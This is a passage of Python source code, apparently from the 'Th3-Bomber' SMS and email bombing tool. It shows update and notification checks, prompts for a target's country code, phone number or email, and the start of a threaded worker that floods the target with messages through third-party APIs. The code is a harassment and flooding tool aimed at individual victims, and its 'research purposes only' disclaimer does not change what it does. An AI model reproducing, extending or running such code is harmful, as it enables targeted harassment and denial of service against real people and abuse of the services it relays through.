text
stringlengths
0
93.6k
mesgdcrt.WarningMessage(
"DEBUG MODE Enabled! Auto-Update check is disabled.")
return
mesgdcrt.SectionMessage("Checking for updates")
fver = requests.get(
"https://github.com/Th3-C0der/Th3Bomber/blob/main/.version"
).text.strip()
if fver != __VERSION__:
mesgdcrt.WarningMessage("An update is available")
mesgdcrt.GeneralMessage("Starting update...")
update()
else:
mesgdcrt.SuccessMessage("Th3-Bomber is up-to-date")
mesgdcrt.GeneralMessage("Starting Th3-Bomber")
def notifyen():
try:
if DEBUG_MODE:
url = "https://github.com/Hackertrackersj/Tbomb/blob/master/.notify"
else:
url = "https://github.com/Hackertrackersj/Tbomb/blob/master/.notify"
noti = requests.get(url).text.upper()
if len(noti) > 10:
mesgdcrt.SectionMessage("NOTIFICATION: " + noti)
print()
except Exception:
pass
def get_phone_info():
while True:
target = ""
cc = input(mesgdcrt.CommandMessage(
"Enter your country code (Without +): "))
cc = format_phone(cc)
if not country_codes.get(cc, False):
mesgdcrt.WarningMessage(
"The country code ({cc}) that you have entered"
" is invalid or unsupported".format(cc=cc))
continue
target = input(mesgdcrt.CommandMessage(
"Enter the target number: +" + cc + " "))
target = format_phone(target)
if ((len(target) <= 6) or (len(target) >= 12)):
mesgdcrt.WarningMessage(
"The phone number ({target})".format(target=target) +
"that you have entered is invalid")
continue
return (cc, target)
def get_mail_info():
mail_regex = r'^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}$'
while True:
target = input(mesgdcrt.CommandMessage("Enter target mail: "))
if not re.search(mail_regex, target, re.IGNORECASE):
mesgdcrt.WarningMessage(
"The mail ({target})".format(target=target) +
" that you have entered is invalid")
continue
return target
def pretty_print(cc, target, success, failed):
requested = success+failed
mesgdcrt.SectionMessage("Bombing is in progress - Please be patient")
mesgdcrt.GeneralMessage(
"Please stay connected to the internet during bombing")
mesgdcrt.GeneralMessage("Target : " + cc + " " + target)
mesgdcrt.GeneralMessage("Sent : " + str(requested))
mesgdcrt.GeneralMessage("Successful : " + str(success))
mesgdcrt.GeneralMessage("Failed : " + str(failed))
mesgdcrt.WarningMessage(
"This tool was made for fun and research purposes only")
mesgdcrt.SuccessMessage("Th3-Bomber was created by Th3-C0der")
mesgdcrt.SuccessMessage("Th3-Bomber was modified by Th3-C0der")
def workernode(mode, cc, target, count, delay, max_threads):
api = APIProvider(cc, target, mode, delay=delay)
clr()
mesgdcrt.SectionMessage("Gearing up the Bomber - Please be patient")
mesgdcrt.GeneralMessage(
"Please stay connected to the internet during bombing")
mesgdcrt.GeneralMessage("API Version : " + api.api_version)
mesgdcrt.GeneralMessage("Target : " + cc + target)
mesgdcrt.GeneralMessage("Amount : " + str(count))
mesgdcrt.GeneralMessage("Threads : " + str(max_threads) + " threads")
mesgdcrt.GeneralMessage("Delay : " + str(delay) +
" seconds")
mesgdcrt.WarningMessage(
"This tool was made for fun and research purposes only")
print()
input(mesgdcrt.CommandMessage(
"Press [CTRL+Z] to suspend the bomber or [ENTER] to resume it"))
if len(APIProvider.api_providers) == 0:
mesgdcrt.FailureMessage("Your country/target is not supported yet")